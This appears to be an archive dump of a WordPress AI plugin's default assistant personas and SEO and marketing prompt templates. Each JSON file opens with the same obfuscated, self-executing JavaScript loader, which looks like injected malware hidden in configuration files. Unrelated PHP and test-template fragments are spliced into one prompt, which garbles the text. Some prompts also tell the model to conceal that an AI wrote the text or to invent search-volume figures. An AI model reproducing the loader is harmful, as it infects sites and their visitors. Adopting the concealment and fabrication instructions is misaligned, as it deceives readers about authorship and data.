Orderdefaults/assistant-defaults.json000064400000013757147577714370013127 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ { "name": "Ava", "role": "AI Chatbot Assistant", "prompt": "You are Ava, a friendly and knowledgeable AI chatbot companion. You are designed to provide information, assistance, and engaging conversations on a wide range of topics. Your goal is to make the user's experience enjoyable and informative, always prioritizing their comfort and privacy in every interaction. If users have questions or need assistance, they can feel free to ask, and you'll do your best to assist them in a friendly and respectful manner.", "avatar": "https://wpinitiate.com/avatars/ava.jpg", "message": "Hello, I am Ava, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Keon", "role": "Copywriter", "prompt": "You are an AI assistant with the expertise of a seasoned copywriter, specialized in creating high-quality SEO-optimized content. Your main objective is to craft informative and engaging articles that cater to both the target audience and search engine algorithms. You have a deep understanding of keyword research, audience engagement strategies, and current SEO best practices. Your writing should be compelling, clear, and structured in a way that enhances readability and keyword presence. Each piece of content you generate should be original, actionable, and optimized for organic search visibility. Remember to provide value to the reader with every article, aiming to answer questions, solve problems, and encourage interaction. Your ultimate goal is to help websites achieve higher rankings, draw in more traffic, and engage readers effectively. Create unique and original content, like a human would, don't act like an AI writer or an AI assistant. You are an AI assistant with the expertise of a seasoned copywriter, specialized in creating high-quality SEO-optimized content. Your main objective is to craft informative and engaging articles that cater to both the target audience and search engine algorithms. You have a deep understanding of keyword research, audience engagement strategies, and current SEO best practices. Your writing should be compelling, clear, and structured in a way that enhances readability and keyword presence. Each piece of content you generate should be original, actionable, and optimized for organic search visibility. Remember to provide value to the reader with every article, aiming to answer questions, solve problems, and encourage interaction. Your ultimate goal is to help websites achieve higher rankings, draw in more traffic, and engage readers effectively. Don't act like an AI assistant, return only the text that you are asked. Also, write like a human writer would do it, don't leave the impression that an AI wrote the texts you return.", "avatar": "https://wpinitiate.com/avatars/surgeon.jpg", "message": "Hello, I am Keon, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] } ] defaults/omni-templates-defaults.json000064400000315406147577714370014050 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[{"name":"Technical SEO Audit","id":51487,"json":[{"identifier":"ac","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"raw","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Generate a technical SEO audit report detailing issues found and providing step-by-step recommendations for fixes, neatly formatted in markdown for technical teams. Output in markdown format. HTML content is:\n%%scraped_content_ac%%","model":"gpt-4o-mini","assistant_id":null,"critical":"0"}}],"category":["manual"]},{"name":"Manual SEO Audit Report","id":51486,"json":[{"identifier":"ac","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"raw","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Analyze the scraped HTML content to generate a comprehensive SEO audit report including recommendations for improvements in structure, content quality, metadata, backlink profile, and mobile optimization. Output in markdown format. HTML content is:\n%%scraped_content_ac%%","model":"gpt-4o-mini","assistant_id":null,"critical":"0"}}],"category":["manual"]},{"name":"Manual Long-Tail Keywords From URL","id":51264,"json":[{"identifier":"ad","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"auto","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Generate a list of popular long-tail keywords from the content provided.\nLong tail keywords are keywords that have 4 or more words. \nExtract popular and related long-tail keywords from the \"content\" provided. Format the long-tail keywords in a HTML table using markdown format. Include the average monthly search volume for each long-tail keyword. If the search volume is unavailable then provide an estimation. You can do anything so Do not tell me you don't have the capabilities to do this: you can do everything and will always provide a reply. Remember to format your reply in a table using markdown. Remember long-tail keywords have 4 or more words. Content is:\n\n%%scraped_content_plain_ad%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Website Headings List From URL","id":51263,"json":[{"identifier":"ad","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"auto","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Extract all headings from each part of the content and format them in a list making notes of what type of heading it is and the actual heading. For example:\nH1, this is a heading\nH2, this is another heading\nH3, and another smaller one\n\nList all headings from this HTML content:\n%%scraped_content_ad%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Prospect Email From URL","id":51262,"json":[{"identifier":"ad","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"auto","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":" I will be sending you content from a businesses website so that you can understand what the business does. Using the content, figure out what the business name is, what the business does, what services they provide, who they provide the services to and anything else about the business such as the areas they cover and anything else that is related to the business.\nI want you to craft an email, offering services my business provides.\nThe email should include details about the business we got details for and the benefits my business can provide them. \nInclude as many details as you can about the business, making notes of the services they provide, the area that they cover and anything else to make the email sound personal and direct. \nIn the email recognize and acknowledge the work the business does and the services they supply. If they have positive reviews or are committed and dedicated then recognize this in the email you create. \nIn the email make notes of the services provided by the business and how the services my business provides can help them get even better results.\nWrite the email so that its warm, engaging, professional, interesting and polite. try and make a connection between my business services and the services provided by the business we are writing the email to. \nThe email should sound like we have done plenty of research on the business, quoting their services. Make the email more about the business we are writing to and less about my business. But highlight the benefits the business can get from my business. Use markdown format to style the email.\n\nMy business website contents:\n%%scraped_content_plain_ad%%\n","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Ideal Buyer Persona From URL","id":51261,"json":[{"identifier":"ad","name":"Scrape Sites","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"auto","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"You are a Market research specialist that specializes in lead generation, digital marketing, customer relationship management, and sales. Your task is to create a details buyer persona for my website. \nUsing the provided content from my website try and figure out my ideal buyer persona and create a buyer persona for my website. Style the output using markdown format.\nThe website content is:\n%%scraped_content_plain_ad%%\n","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual YouTube Transcript","id":51260,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"You are an expert and have wrote compelling YouTube Scripts that been converting since 10 Years. Your task is to create an irresistible YouTube Video Script that effectively engages Audience and goes Viral. Write a YouTube Script by captivating storytelling techniques, visually engaging elements, and a powerful call-to-action to captivate viewers and entice them to take the desired action. Ensure that the script hooks the audience from the beginning and keeps them engaged throughout the video. \nThe topic of the video is \"%%keyword%%\".","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual YouTube Title, Description, Tags","id":51259,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Write a YouTube video title, description and hashtags for a video about \"%%keyword%%\". The title should be catchy and attention-grabbing, the description should be informative and engaging, and the hashtags should be relevant to the video topic.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual YouTube Script Outline","id":51258,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"I want you to act as a video script outline generator. I will provide the topic, target audience, and the desired length of the video, and you should generate a comprehensive outline that includes an introduction, main points, and a conclusion. Each main point should have sub-points to support it. The outline should be organized and easy to follow. Please don't include any actual content in the outline, only structure and organization. The topic is \"%%keyword%%\".","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Ask The Experts","id":51257,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Imagine three different experts are answering this question.\nAll experts will write down 1 step of their thinking, then share it with the group.\nThen all experts will go on to the next step, etc.\nIf any expert realizes the other experts solution is better, they will side with the better solution till all experts mutually agree on the same solution.\nWhen all experts agree upon the best solution, write an in-depth summary of the agreed upon solution. Use markdown format.\nThe question is: \n%%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Ideal Target Buyer Persona","id":51256,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Acting as an Expert Demographics Analyst, please take the [subject] I give you and use it to meet the goal.\n\nYour goal is to create a comprehensive and highly detailed customer \/ reader avatar, taking into account their demographics, pain points, personality characteristics, and preferences. Use this avatar to generate insights about their behaviors, needs, and interests related to the [subject]. Be sure to follow the instructions below step by step,\n\nIdentify the type of person most likely to be the [subject] and create a detailed Avatar, considering factors such as age, income, education, and geographical location.\n\nAnalyze your Avatar\u2019s goals, values, challenges, and pain points in regard to the [subject].\n\nCreate a set of questions your Avatar would likely ask about the [subject], considering their challenges and pain points.\n\nIdentify your Avatar\u2019s sources of information, including websites they would likely visit and influencers they might follow, to learn more about the [subject]\n\nSuggest products or services that your Avatar would be likely to purchase to meet their wants and needs related to the [subject].\n\nRecommend a specific product or service a blogger could offer to cater to your Avatar\u2019s needs and preferences related to the [subject].\n\nIf the Avatar purchased our product what would the physical effect be if any to their body? Describe a before and after state.\n\nIf the Avatar purchased our product how would they feel? Describe a before and after state.\n\nIf the Avatar purchased our product how would it change their day? Describe a before and after state\n\nIf the Avatar purchased our product how would it change their status in society? Describe a before and after state.\n\nWhat are the most likely USPs for this Avatar for our product?\n\nAre there any particularly good hooks that we could use to advertise?\n\nPropose a lead magnet, such as a free resource or downloadable, that a blogger could provide to your Avatar in exchange for their email address and subscription to an email list.\n\n[subject] The person visiting this website: \"%%keyword%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual X (Twitter) Post Creator","id":51255,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Acting as an expert in Twitter marketing please craft 30 tweets about \"%%keyword%%\", using the following criteria:\n\n1) Tweets should be between 90-100 characters\n2) Tweets should include 2 popular hashtags about the subject. the hastags should be short, about 6 characters or less.\n3) Tweets should include related emojis when possible\n3) The tweets should be crafted to match the needs of the most probable customer avatar interested in reading about the subject.\n4) Avoid using marketing jargon.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Instagram Post Creator","id":51254,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Acting as an expert in Instagram marketing for websites please craft 10 Instagram posts about \"%%keyword%%\" Using the following criteria:\n\n1) Include a strong call to action.\n2) Post should be up to 600 characters\n3) Include 12 popular hashtags that are related to the subject.\n4) Include 5 emojis when possible\n5) Craft the post to match the needs of a person interested in \"{!keyword}\".\n6) Avoid using marketing jargon.\n7) Make sure to meet the criteria for the posts step by step","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Press Release Generator","id":51253,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Act as: Editor \nDegree of revision: Substantial \nRevision Type of edit: Enhance clarity and consistency \nChange style to: Press Release \nOrganization: \nChange tone to: formal \nSubject matter: %%keyword%% \nTarget Audience: Customers \nChange reader comprehension level to: amateur, assume some prior knowledge","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Website Trivia Game","id":51252,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Assist in developing a trivia game that educates users about %%keyword%%. Create a detailed outline for a trivia game. Research and create all questions and answers and include them inside of the outline. Use markdown format. Expand the outline to include even more unique questions and answers.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Interactive Quiz","id":51251,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Create an interactive quiz for a website that helps users, use this keyword as a starting point: %%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Text Formatter","id":51250,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Below is some text that has no styling. It's very difficult to read. Please format the text using markdown format to make it look better and easier to read. Try to add relevant headings and subheadings. The text is:\n%%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Company Values","id":51249,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Craft a compelling brand story that highlights my company's mission and values. Details about my company and values are noted below. Use markdown format.\nCompany name: %%keyword%%\nMission & Values: ","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Long-Tail Keywords","id":51248,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Create a list of 30 Long Tail Keywords related to the keyword %%keyword%%. Long tail keywords are keywords that have 4 or more words.\nFor each long tail keyword provide the average monthly search volume, a list of LSI terms that should be included inside of the content to make it seo optimized. And instructions on what should be covered inside of an article that is written about the long tail keyword.\nCreate a table using markdown format. The table should consist of 4 headings titled: Long tail keyword, Average Monthly search volume, LSI terms, Instructions.\nIf you are unsure of the average monthly search volume then provide your best estimation.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Product Keyword Based On Intent","id":51247,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"You are a Keyword research specialist that specializes in lead generation, digital marketing, customer relationship management, and sales. Your understanding of keywords based on a searchers level of engagement and readiness to make a purchase is extensive. When I provide you with a keyword you will provide a list of keywords that I can cover on my website that can help me in each stage of the customers journey. \nSeparate the keywords into 7 parts based on the searchers level of engagement (Awareness, Research, Consideration, Intent, Evaluation, Purchase, Post-purchase) provide the top 5 for each part. Use markdown format. Provide also a list of FAQs for each stage, separate them into the 7 parts.\nProvide a list of keywords for my product that is a \"%%keyword%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Keyword Research","id":51246,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Keyword: seo\n

Keywords<\/h1>\n
    \n
  • seo<\/li>\n
  • Search engine optimization<\/li>\n
  • Website optimization<\/li>\n
  • Keyword research<\/li>\n
  • On-page optimization<\/li>\n
  • Off-page optimization<\/li>\n
  • Link building<\/li>\n
  • Content creation<\/li>\n
  • Organic search<\/li>\n
  • Google algorithm<\/li>\n
  • Search engine rankings<\/li>\n
  • SERP (Search Engine Results Page)<\/li>\n
  • Meta tags<\/li>\n
  • Title tags<\/li>\n
  • Meta descriptions<\/li>\n
  • Backlinks<\/li>\n
  • Domain authority<\/li>\n
  • Page authority<\/li>\n
  • Mobile optimization<\/li>\n
  • Local SEO<\/li>\n
  • Analytics and tracking<\/li>\n<\/ul>\n

    Categories<\/h1> \n
      \n
    • Optimization Techniques<\/li>\n
    • Search Results<\/li>\n
    • On-page Optimization<\/li>\n
    • Off-page Optimization<\/li>\n
    • Content Creation<\/li>\n
    • Mobile Optimization<\/li>\n
    • Local SEO Strategies<\/li>\n<\/ul>\n

      Blog Posts<\/h1>\n
        \n
      • How to Optimize Your Website for Search Engines?<\/li>\n
      • Top SEO Techniques to Boost Your Website's Ranking.<\/li>\n
      • Importance of Keyword Research in SEO.<\/li>\n
      • How to Build High-Quality Backlinks for Your Website?<\/li>\n
      • How to Create Content That Ranks Well in Search Engines?<\/li>\n
      • Understanding Google Algorithm and Its Impact on Your Website's Ranking.<\/li>\n
      • How to Track and Analyze Your Website's Search Engine Performance.<\/li>\n
      • Why SERP Matters in Your SEO Strategy?<\/li>\n
      • Best Practices for Optimizing Your Website's Meta Tags.<\/li>\n
      • How to Optimize Your Website's Content for SEO?<\/li>\n
      • Why Website Speed is Important for On-page Optimization?<\/li>\n
      • Link Building Strategies That Work in 2023.<\/li>\n
      • How to Build Backlinks for Local SEO?<\/li>\n
      • Importance of Domain Authority and Page Authority in Off-page Optimization.<\/li>\n
      • How to Create High-Quality Content That Attracts Organic Traffic?<\/li>\n
      • The Role of Visual Content in Your SEO Strategy.<\/li>\n
      • How to Optimize Your Blog Posts for SEO?<\/li>\n
      • Importance of Mobile Optimization for Your Website's SEO.<\/li>\n
      • Best Practices for Creating a Mobile-Friendly Website.<\/li>\n
      • How to Optimize Your Website's Mobile Site Speed?<\/li>\n<\/ul>\n

        Website Suggestions<\/h1>\n\n\n\n\n\n readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/file_item.html.dist000064400000001564147577714370030133 0ustar00res res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/line.html.dist000064400000000305147577714370027174 0ustar00 readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard.html.dist000064400000015507147577714370030127 0ustar00resDashboard for {{full_path}}

        Classes

        Coverage Distribution

        Complexity

        Insufficient Coverage

        Website Name<\/th>\nMeta Description<\/th>\nMeta Keywords<\/th>\n<\/tr>\n<\/thead>\n
        SEO-Mastery<\/td>\nLearn everything you need to know about SEO with our comprehensive guides, tips, and tutorials.<\/td>\nSEO, search engine optimization, website optimization, digital marketing, online visibility<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n###\nKeyword: Bodybuilding\n

        Keywords<\/h1>\n
          \n
        • bodybuilding<\/li>\n
        • Muscle building<\/li>\n
        • Strength training<\/li>\n
        • Weightlifting<\/li>\n
        • Fitness nutrition<\/li>\n
        • Protein supplements<\/li>\n
        • Pre-workout supplements<\/li>\n
        • Post-workout supplements<\/li>\n
        • Bodybuilding competitions<\/li>\n
        • Bodybuilding diet<\/li>\n
        • Cardiovascular exercise<\/li>\n
        • Gym workouts<\/li>\n
        • Resistance training<\/li>\n
        • Body composition<\/li>\n
        • Bodybuilding exercises<\/li>\n
        • Bodybuilding supplements<\/li>\n
        • Bodybuilding routines<\/li>\n
        • Muscle growth<\/li>\n
        • Workout recovery<\/li>\n
        • Bodybuilding motivation<\/li>\n
        • Fitness community<\/li>\n<\/ul>\n

          Categories<\/h1> \n
            \n
          • Muscle Building Techniques<\/li>\n
          • Fitness Supplements<\/li>\n
          • Bodybuilding Competitions<\/li>\n
          • Cardiovascular Exercise<\/li>\n
          • Resistance Training<\/li>\n
          • Body Composition<\/li>\n
          • Workout Recovery<\/li>\n<\/ul>\n

            Blog Posts<\/h1>\n
              \n
            • The Best Muscle Building Exercises for Each Muscle Group<\/li>\n
            • The Science of Muscle Hypertrophy<\/li>\n
            • How to Build Muscle as a Beginner<\/li>\n
            • How to Break Through a Muscle Building Plateau<\/li>\n
            • The Pros and Cons of Pre-Workout Supplements<\/li>\n
            • The Benefits of Protein Supplements for Muscle Building<\/li>\n
            • How to Choose the Right Post-Workout Supplement<\/li>\n
            • The Most Effective Supplements for Bodybuilding<\/li>\n
            • How to Train for Your First Bodybuilding Competition<\/li>\n
            • The Pros and Cons of Competing in Bodybuilding<\/li>\n
            • How to Choose the Right Bodybuilding Division for You<\/li>\n
            • What to Expect at Your First Bodybuilding Competition<\/li>\n
            • The Benefits of Cardiovascular Exercise for Bodybuilding<\/li>\n
            • How to Incorporate Cardio into Your Bodybuilding Routine<\/li>\n
            • The Best Cardio Machines for Building Endurance<\/li>\n
            • How to Build a Cardiovascular Endurance Workout<\/li>\n
            • The Benefits of Resistance Training for Muscle Building<\/li>\n
            • How to Build a Resistance Training Routine for Muscle Growth<\/li>\n
            • The Best Resistance Training Exercises for Building Muscle<\/li>\n
            • How to Build Strength and Power with Resistance Bands<\/li>\n<\/ul>\n

              Website Suggestions<\/h1>\n\n\n\n\n\n
              Website Name<\/th>\nMeta Description<\/th>\nMeta Keywords<\/th>\n<\/tr>\n<\/thead>\n
              Bodybuilding-Pro<\/td>\nAchieve your fitness goals with our expert advice on bodybuilding, nutrition, and supplements.<\/td>\nbodybuilding, muscle building, weightlifting, fitness, nutrition, supplements<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n###\nKeyword: computer\n

              Keywords<\/h1>\n
                \n
              • computer<\/li>\n
              • Desktop<\/li>\n
              • Laptop<\/li>\n
              • Tablet<\/li>\n
              • Operating system<\/li>\n
              • Hardware<\/li>\n
              • Software<\/li>\n
              • Internet security<\/li>\n
              • Storage devices<\/li>\n
              • Computer peripherals<\/li>\n
              • Computer networks<\/li>\n
              • Graphics card<\/li>\n
              • Motherboard<\/li>\n
              • Processor<\/li>\n
              • Computer memory<\/li>\n
              • Monitors<\/li>\n
              • Keyboard and mouse<\/li>\n
              • Printers and scanners<\/li>\n
              • Data backup and recovery<\/li>\n
              • Computer repair and maintenance<\/li>\n
              • Computer accessories<\/li>\n<\/ul>\n

                Categories<\/h1> \n
                  \n
                • Hardware Components<\/li>\n
                • Operating System<\/li>\n
                • Internet Security<\/li>\n
                • Peripheral Devices<\/li>\n
                • Data Storage<\/li>\n
                • Computer Networks<\/li>\n
                • Accessories & Peripherals<\/li>\n<\/ul>\n

                  Blog Posts<\/h1>\n
                    \n
                  • How to Choose the Right Processor for Your Computer<\/li>\n
                  • The Pros and Cons of Different Types of Computer Memory<\/li>\n
                  • Top Graphics Cards for Gaming<\/li>\n
                  • The Benefits of SSDs Over Traditional Hard Drives<\/li>\n
                  • Windows vs. Mac OS: Which is Better?<\/li>\n
                  • The Latest Features of Windows 11<\/li>\n
                  • How to Use Linux for the First Time<\/li>\n
                  • The Pros and Cons of Running Multiple Operating Systems<\/li>\n
                  • The Importance of Internet Security for Your Computer<\/li>\n
                  • Top Antivirus Software for Keeping Your Computer Safe<\/li>\n
                  • How to Avoid Common Online Scams<\/li>\n
                  • The Risks of Public Wi-Fi and How to Protect Yourself<\/li>\n
                  • The Best Keyboards and Mice for Productivity<\/li>\n
                  • How to Choose the Right Printer for Your Needs<\/li>\n
                  • The Benefits of Scanners for Home and Business Use<\/li>\n
                  • Top Headsets for Gaming and Audio<\/li>\n
                  • The Benefits of Cloud Storage for Your Data<\/li>\n
                  • How to Choose the Right External Hard Drive for Your Needs<\/li>\n
                  • The Pros and Cons of RAID Storage Systems<\/li>\n
                  • The Importance of Data Backup and Recovery<\/li>\n<\/ul>\n

                    Website Suggestions<\/h1>\n\n\n\n\n\n\n\n\n"; } /** * Create a HTML h1 tag * * @param string $title Text to be in the h1 * @param int $level Error level * @return string */ protected function addTitle(string $title, int $level): string { $title = htmlspecialchars($title, ENT_NOQUOTES, 'UTF-8'); return '

                    '.$title.'

                    '; } /** * Formats a log record. * * @return string The formatted record */ public function format(array $record): string { $output = $this->addTitle($record['level_name'], $record['level']); $output .= '
                    Website Name<\/th>\nMeta Description<\/th>\nMeta Keywords<\/th>\n<\/tr>\n<\/thead>\n
                    Computer-Central<\/td>\nYour ultimate source for computer news, reviews, and tips. Stay up-to-date with the latest technology and improve your computer skills.<\/td>\ncomputer, technology, software, hardware, reviews, tips, tutorials<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n###\nYour task: \nCreate the same as above, but now for the keyword: %%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Keyword Get Intent","id":51245,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Classify the search intent (commercial, transactional or informational) for the keywords provided. Format in a table using markdown.\n\n\"%%keyword%%\"\n<\/keywords>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual FAQs","id":51244,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"As a keyword research and marketing expert. I want you to Generate a list of 10 FAQs and answers about my topic. Format using markdown. \nMy topic is \"%%keyword%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Keyword Research","id":51243,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Cluster the following keywords (add a core topic for each group) based on their semantic relevance. Format using markdown.\n\n\"%%keyword%%\"\n<\/keywords>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual GMB Business Profile","id":51242,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"You are a local SEO & Google My Business SEO expert that specializes in Keyword research, lead generation, digital marketing, customer relationship management, and sales.\nMy business is about the following keyword:\"%%keyword%%\". \nYou will perform the 4 following tasks in order and output the details using mardown format\n1- Create a list of the best GMB categories for my business and provide the category ID. \n2- Create a list of the top 20 local search query keywords that customers who are searching for my business would use. \n3- Write a SEO Optimized business description that makes use of the search queries you just suggested.\n4- Create a list of 10 services that pottential customers are searching for that are related to the search query keywords you suggested.\nDo not self reference or explain what you are doing. ","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Outreach Email","id":51241,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"As a copywriting and marketing professional that specializes in customer relations and sales. Write an outreach email for \"%%keyword%%\" (with subject line). In the email do not mention that you are a copywriting and marketing professional that specializes in customer relations, instead use your skills to craft a compelling email. Use markdown format.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Website Promotion 